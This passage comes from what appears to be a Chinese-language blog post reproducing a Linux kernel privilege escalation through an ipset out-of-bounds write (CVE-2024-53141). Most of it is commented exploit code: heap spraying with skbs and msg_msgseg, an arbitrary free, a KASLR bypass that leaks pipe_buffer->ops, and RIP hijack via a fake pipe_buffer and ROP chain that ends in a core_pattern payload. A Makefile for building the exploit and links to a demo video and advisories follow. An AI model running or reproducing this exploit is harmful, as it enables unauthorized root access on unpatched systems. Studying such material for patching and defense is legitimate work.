if (i == 0x800) // 在分配目标 ipset (名称 "2048") 之前
{
printf("[+] Spraying skbs (kmalloc-cg-512) before target allocation...\n");
// 喷射 skb (kmalloc-cg-512),尝试将目标 ipset 夹在 skb 之间
for (int k = 0; k < 0x100; k++)
// 写入 0x80 字节,加上头,通常分配在 kmalloc-128 或 kmalloc-192
// 这里写 0x80 目标是 kmalloc-512? 可能计算有误或依赖特定内核/配置
// 如果目标是 512,应该写接近 512 - skb_shared_info - skb_head 的大小
SYSCHK(write(skbuff_heap_leak[k][0], buf, 0x80));
}
// 创建 ipset,目标 slab 为 kmalloc-cg-512
// 当 i == 0x800 时,extra=1,会添加 WITH_COMMENT 标志
create_ip_set_kmalloc_512(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800);
// 向每个创建的 ipset 添加一个元素 (-0x35),防止 OOB 循环失控
// 当 OOB 循环访问到这个 IP 时,adtfn 会返回 -IPSET_ERR_EXIST,循环会停止
add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x35));
if (i == 0x800) // 在分配目标 ipset (名称 "2048") 之后
{
printf("[+] Spraying skbs (kmalloc-cg-512) after target allocation...\n");
// 再次喷射 skb (kmalloc-cg-512)
for (int k = 0; k < 0x100; k++)
SYSCHK(write(skbuff_heap_leak[k][1], buf, 0x80));
printf("[+] Triggering OOB write for heap leak...\n");
// 触发漏洞,目标是名称为 "2048" (0x800 的字符串形式) 的 ipset
// OOB 写会将 kmalloc-192 的指针写入相邻的 skb (来自 skbuff_heap_leak)
trigger_oob_leak(sock_fd, "800", AF_INET); // 使用 "800" 而不是 "2048"
}
}
// --- 读取泄漏的地址 ---
printf("[+] Reading potential leaked heap addresses...\n");
// 从 skbuff_heap_leak socket 中读取数据 (使用 MSG_PEEK 不移除数据)
// 检查缓冲区开头是否有非零值,这很可能是被 OOB 写写入的内核地址
for (int i = 0; i < 0x100; i++)
{
// 尝试从 socket pair 的两端读取
recv(skbuff_heap_leak[i][0], buf, 0x80, MSG_PEEK);
if (*(size_t*)buf != 0) // 检查读取到的数据前 8 字节是否非零
{
pipe_buf_addr = *(size_t *)buf; // 保存泄漏的地址
printf("[+] Leaked address found: 0x%lx from skbuff_heap_leak[%d][0]\n", pipe_buf_addr, i);
break; // 找到一个就停止
}
recv(skbuff_heap_leak[i][1], buf, 0x80, MSG_PEEK);
if (*(size_t*)buf != 0)
{
pipe_buf_addr = *(size_t *)buf;
printf("[+] Leaked address found: 0x%lx from skbuff_heap_leak[%d][1]\n", pipe_buf_addr, i);
break;
}
}
printf("Leaked potential kernel heap addr: 0x%lx\n", pipe_buf_addr);
if (pipe_buf_addr == 0) // 如果没有泄漏到地址
{
printf("[-] Heap leak failed.\n");
exit(0); // 退出,父进程会重试
}
// --- 猜测 pipe_buffer 地址 ---
// 基于泄漏的 kmalloc-192 地址,猜测一个对齐的 kmalloc-1024 地址
// pipe_buffer 通常分配在 kmalloc-1024
// 清除低 28 位 (0x10000000 - 1),得到一个比较大的区域基址
pipe_buf_addr &= ~(0x10000000 - 1); // 对齐猜测地址
printf("Guessed target pipe_buffer base addr: 0x%lx\n", pipe_buf_addr);
// --- 阶段二:任意地址释放 (Arbitrary Free) ---
printf("[+] Stage 2: Arbitrary Free via OOB write on msg_msgseg->next\n");
// 循环创建 ipset 对象 (kmalloc-cg-2048) 并喷射 msg_msgseg
for (int i = 0; i < 0x1000; i++)
{
sprintf(name, "x%d", i); // 新的 ipset 名称前缀 'x'
if (i == 0x800) // 在分配目标 ipset ("x2048") 之前
{
printf("[+] Spraying msg_msgseg (kmalloc-cg-2048) before target allocation...\n");
// 喷射 msg_msgseg (目标 kmalloc-cg-2048)
// 发送的消息大小 = PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE
// 目的是让消息体跨越页边界,触发 msg_msgseg 分配
// KMALLOC_CG_2K (0x800) 是目标 slab 大小
for (int k = 0; k < 0x1000; k++)
SYSCHK(msgsnd(msqid[k], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0));
}
// 创建 ipset,目标 slab 为 kmalloc-cg-2048
// 当 i == 0x800 时,extra=1,添加 WITH_COUNTERS 标志
create_ip_set_kmalloc_2048(sock_fd, name, "bitmap:ip", AF_INET, i == 0x800);
// 向每个 ipset 添加一个元素 (-0x40 + 0x3b = -5),防止 OOB 循环失控
// OOB 循环从 ip = 0xe0000000 开始,需要很长时间才能到达 -5,所以这个可能不是主要停止机制
// 可能是为了确保 ipset 内部状态一致性
add_ip_to_set(sock_fd, name, AF_INET, htonl(-0x40 + 0x3b));
if (i == 0x800) // 在分配目标 ipset ("x2048") 之后
{
printf("[+] Spraying msg_msgseg (kmalloc-cg-2048) after target allocation...\n");
// 再次喷射 msg_msgseg,完成对目标 ipset 的夹逼
for (int k = 0; k < 0x1000; k++)
SYSCHK(msgsnd(msqid[k + 0x1000], &msg, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 0));
printf("[+] Triggering OOB write to overwrite msg_msgseg->next...\n");
// 触发漏洞,目标是名称为 "x2048" (0x800 的字符串形式加'x') 的 ipset
// OOB 写会将猜测的 pipe_buf_addr 写入相邻 msg_msgseg 的 next 字段
trigger_oob_write(sock_fd, "x800", AF_INET); // 使用 "x800"
}
}
// --- 触发任意 Free ---
printf("[+] Freeing messages to trigger arbitrary free at 0x%lx...\n", pipe_buf_addr);
// 接收所有消息,这将调用 free_msg
// 当处理到被篡改 next 指针的 msg_msgseg 时,会 kfree(pipe_buf_addr)
char *read_only = SYSCHK(mmap(0, 0x1000, PROT_READ, MAP_ANON | MAP_PRIVATE, -1, 0)); // 只读内存,防止意外写入
for (int i = 0; i < 0x2000; i++) // 接收之前发送的所有消息
msgrcv(msqid[i], read_only, PAGE_SIZE - MSG_MSG_SIZE + KMALLOC_CG_2K - MSG_MSGSEG_SIZE, 1, IPC_NOWAIT); // IPC_NOWAIT 避免阻塞
munmap(read_only, 0x1000); // 释放只读内存
// --- 阶段三:KASLR 绕过 ---
printf("[+] Stage 3: KASLR Bypass\n");
// --- 回收被释放的内存为 pipe_buffer ---
printf("[+] Allocating pipe_buffers to reclaim the freed chunk...\n");
for (int i = 0; i < NPIPE; i++)
SYSCHK(pipe(pipe_fd[i])); // 创建管道,分配 pipe_buffer (kmalloc-1024)
// --- 填充 pipe_buffer 并准备泄漏 ---
printf("[+] Writing to pipes to populate pipe_buffers...\n");
for (int i = 0; i < NPIPE; i++)
{
SYSCHK(write(pipe_fd[i][1], buf, 0x1000)); // 向管道写入数据,填充 pipe_buffer (包括 ops 指针)
}
#define PIPE_BUFFER_OFFS_OPS 0x10 // pipe_buffer->ops 在结构体中的偏移
// --- 尝试从 skb 中泄漏 pipe_buffer->ops ---
printf("[+] Reading skbs to leak pipe_buffer->ops...\n");
KERNEL_BASE = 0; // 重置 KERNEL_BASE
// 遍历之前喷射的 skbuff_kaslr_leak socket
for (int i = 0; i < 0x400; i++)
{
for (int j = 0; j < 0x100; j++)
{
// 读取 skb 数据。如果这个 skb 的内存被 pipe_buffer 回收了,就能读到 pipe_buffer 的内容
read(skbuff_kaslr_leak[i][0], buf, 0x200);
// 检查偏移 0x10 处是否像一个内核地址 (高位置位)
if ((*(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]) > 0xffffffff80000000) {
KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]; // 获取 ops 指针
printf("[+] Leaked pipe_buffer->ops = 0x%lx from skbuff_kaslr_leak[%d][0], iter %d\n", KERNEL_BASE, i, j);
goto found_ops; // 找到即跳转
}
read(skbuff_kaslr_leak[i][1], buf, 0x200);
if ((*(size_t *)&buf[PIPE_BUFFER_OFFS_OPS]) > 0xffffffff80000000) {
KERNEL_BASE = *(size_t *)&buf[PIPE_BUFFER_OFFS_OPS];
printf("[+] Leaked pipe_buffer->ops = 0x%lx from skbuff_kaslr_leak[%d][1], iter %d\n", KERNEL_BASE, i, j);
goto found_ops; // 找到即跳转
}
}
}
found_ops:
if (KERNEL_BASE == 0) {
printf("[-] Failed to leak pipe_buffer->ops.\n");
exit(1); // 泄漏失败则退出
}
// --- 计算内核基地址 ---
KERNEL_BASE -= ANON_PIPE_BUF_OPS_OFF; // KERNEL_BASE = ops_addr - ops_offset
printf("[+] Calculated KERNEL_BASE = 0x%lx\n", KERNEL_BASE);
if (KERNEL_BASE < 0xffffffff80000000) {
printf("[-] Invalid KERNEL_BASE calculated.\n");
exit(1);
}
// --- 阶段四:控制 RIP ---
printf("[+] Stage 4: RIP Control\n");
// --- 构造伪造的 pipe_buffer 和 ROP 链 ---
printf("[+] Building fake pipe_buffer with ROP chain at user addr %p, kernel addr 0x%lx\n", buf, pipe_buf_addr);
build_fake_pipe_buffer_with_rop_chain(pipe_buf_addr, (char *)buf);
// --- UAF: 回收 pipe_buffer 为 skb ---
printf("[+] Reclaiming target pipe_buffer chunk with fake buffer via skb spray...\n");
// 读取 skb 会释放其内存 (第一次 UAF 触发点)
// 这里需要确保目标 pipe_buffer 已经被释放
// 然后再次喷射 skb (使用 skbuff_heap_leak,目标 kmalloc-512)
// 目标是用包含 ROP payload 的 buf 来覆盖 UAF 的 pipe_buffer 内存
for (int i = 0; i < 0x100; i++)
{
// 使用 skbuff_heap_leak (kmalloc-512?) 写入 0x200 字节 payload
SYSCHK(write(skbuff_heap_leak[i][1], buf, 0x200));
}
// --- 触发 RIP 控制 ---
printf("[+] Closing pipes to trigger pipe_buf_release and RIP control...\n");
// 关闭所有管道,这将触发 pipe_release -> pipe_buf_release
// 如果我们成功用伪造的 pipe_buffer 覆盖了 UAF 对象,
// pipe_buf_release 会调用伪造的 ops->release (PIVOT3),启动栈迁移和 ROP 链
for (int i = 0; i < NPIPE; i++)
{
close(pipe_fd[i][0]);
close(pipe_fd[i][1]);
}
printf("[+] ROP chain should be executing... If not, exploit failed.\n");
// ROP 链执行 msleep,此时子进程应该暂停
// crash 进程会检测到 core_pattern 变化并崩溃,执行提权 payload
return EXIT_SUCCESS; // 子进程正常退出 (如果 ROP 链没有崩溃或 msleep 结束)
}
这是makefile(上面的代码保存为exploit.c):
LIBMNL_DIR = $(realpath ./)/libmnl_build
LIBNFTNL_DIR = $(realpath ./)/libnftnl_build
LIBS = -L$(LIBNFTNL_DIR)/install/lib -L$(LIBMNL_DIR)/install/lib -lnftnl -lmnl
INCLUDES = -I$(LIBNFTNL_DIR)/libnftnl-1.2.5/include -I$(LIBMNL_DIR)/libmnl-1.0.5/include
CFLAGS = -static -s
exploit: exploit.c
gcc -o exploit exploit.c $(LIBS) $(INCLUDES) $(CFLAGS)
prerequisites: libnftnl-build
libmnl-build : libmnl-download
tar -C $(LIBMNL_DIR) -xvf $(LIBMNL_DIR)/libmnl-1.0.5.tar.bz2
cd $(LIBMNL_DIR)/libmnl-1.0.5 && ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make -j`nproc`
cd $(LIBMNL_DIR)/libmnl-1.0.5 && make install
libnftnl-build : libmnl-build libnftnl-download
tar -C $(LIBNFTNL_DIR) -xvf $(LIBNFTNL_DIR)/libnftnl-1.2.5.tar.xz
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && PKG_CONFIG_PATH=$(LIBMNL_DIR)/install/lib/pkgconfig ./configure --enable-static --prefix=`realpath ../install`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && C_INCLUDE_PATH=$(C_INCLUDE_PATH):$(LIBMNL_DIR)/install/include LD_LIBRARY_PATH=$(LD_LIBRARY_PATH):$(LIBMNL_DIR)/install/lib make -j`nproc`
cd $(LIBNFTNL_DIR)/libnftnl-1.2.5 && make install
libmnl-download :
mkdir $(LIBMNL_DIR)
wget -P $(LIBMNL_DIR) https://netfilter.org/projects/libmnl/files/libmnl-1.0.5.tar.bz2
libnftnl-download :
mkdir $(LIBNFTNL_DIR)
wget -P $(LIBNFTNL_DIR) https://netfilter.org/projects/libnftnl/files/libnftnl-1.2.5.tar.xz
run:
./exploit
clean:
rm -f exploit
rm -rf $(LIBMNL_DIR)
rm -rf $(LIBNFTNL_DIR)
复现视频参考:https://cdn-0.securityonline.info/wp-content/uploads/2025/04/LPE.mp4
ip
的重新检查https://ubuntu.com/security/CVE-2024-53141
https://nvd.nist.gov/vuln/detail/CVE-2024-53141
https://www.wiz.io/vulnerability-database/cve/cve-2024-53141
https://gbhackers.com/poc-released-for-linux-kernel-vulnerability/
4 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!